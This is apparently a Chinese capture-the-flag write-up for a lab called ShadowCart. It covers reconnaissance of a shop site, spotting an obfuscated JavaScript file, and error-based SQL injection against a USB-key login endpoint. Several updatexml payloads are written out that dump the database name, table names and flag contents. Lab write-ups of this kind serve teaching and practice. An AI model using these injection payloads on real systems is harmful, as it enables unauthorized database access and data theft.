【SQL注入】 ShadowCart

先进行信息收集。

搜索框输入1。

搜索框输入单引号。

点击库存后发现有个可以修改的参数。

测试后发现范围为1-101。

点击分类后发现/category下的<名>,随便改一个。

白名单限制,不符合白名单404。

查看comment.js后发现有四个api接口。

总结:

候选点 测试现象 结论
搜索 /search?q= 加单引号只返回 "0 条",不报错 引号被转义 / 参数化,字符串型注不进
库存 /api/product/?id= 101-1 id 被强制转整数,非数字归零
分类 /category/<名> 非白名单名一律 404 分类名走白名单,拼不进 SQL
common.js 4 个 POST 接口 名字叫 postNoise(噪声),纯干扰

明面没有,攻击面可能会藏在 JS 里。

在商品页里除了常见的 jquery/common/mall,还有一个名字不同的 satellite-runtime.js,打开一看是混淆代码。

如何判断是混淆代码?当一个 JS 里 "看不到正常英文单词 / URL,却有大量数字数组,并且数字被某个函数包起来 ",基本就是用 String.fromCharCode 把字符串拆成 ASCII 数字藏起来了。文件开头那行 var _k=['fromCharCode','createElement','src',...] 更是直接 "自报家门"------ 它连函数名都拆了。

经过测试后发现除了最后一个接口,其余都访问失败。

接下来我们对 /api/auth/usbkey/verify 发 POST。

因为有keycode和pin,所以我们用这两个进行传参,先用1进行测试。

用单引号进行测试。

有报错,可以使用报错注入。

sql 复制代码
keycode=1' and updatexml(1,concat(0x7e,database()),1)-- -&pin=1 

直接查只有三个表,没有看到flag,猜测flag被隐藏在后面:

sql 复制代码
keycode=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- -&pin=1 

所以修改为:

sql 复制代码
keycode=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),1)-- -&pin=1

LIMIT 3, 1意思为先跳过前 3 行,然后只取 1 行 ------ 也就是结果里的第 4 行。

sql 复制代码
keycode=1' and updatexml(1,concat(0x7e,(select group_concat(flag) from flags)),1)-- -&pin=1 

另一边用right解决。

sql 复制代码
keycode=1' and updatexml(1,concat(0x7e,(select right(flag,23) from flags)),1)-- -&pin=1 
相关推荐
做运维的阿瑞6 小时前
MYSQL从语义到执行计划:UNION、EXISTS、IN 的深度辨析
数据库·sql·mysql
Moshow郑锴7 小时前
sql-pipeline - 基于PostgreSQL的SQL健康检查与发布编排平台
java·sql
Elastic 中国社区官方博客1 天前
错误最多的服务运行正常:使用 ES|QL 从日志进行根因分析
大数据·运维·数据库·sql·elasticsearch·搜索引擎·全文检索
Seraphina361 天前
DVWA(SQL Injection-High,XSS Reflected-Medium,XSS Stored-Medium)
数据库·经验分享·sql·网络安全·xss
2501_933670791 天前
2027风控策略岗秋招准备:SQL、Excel、建模的优先级与项目路径
人工智能·sql·excel
其实防守也摸鱼1 天前
网安自测题:掌握核心知识点的实用练习
linux·运维·服务器·前端·数据库·sql·xss
Shadow(⊙o⊙)1 天前
MySQL C/C++链接MySQL使用
数据库·sql·mysql
Shadow(⊙o⊙)1 天前
mysql为创建普通用户并创建库赋权
数据库·sql·mysql
Seraphina362 天前
SQLI-labs(一)黑盒全流程
sql·安全·web安全
做运维的阿瑞2 天前
多表查询基础:INNER JOIN、LEFT JOIN、RIGHT JOIN
数据库·sql·mysql·算法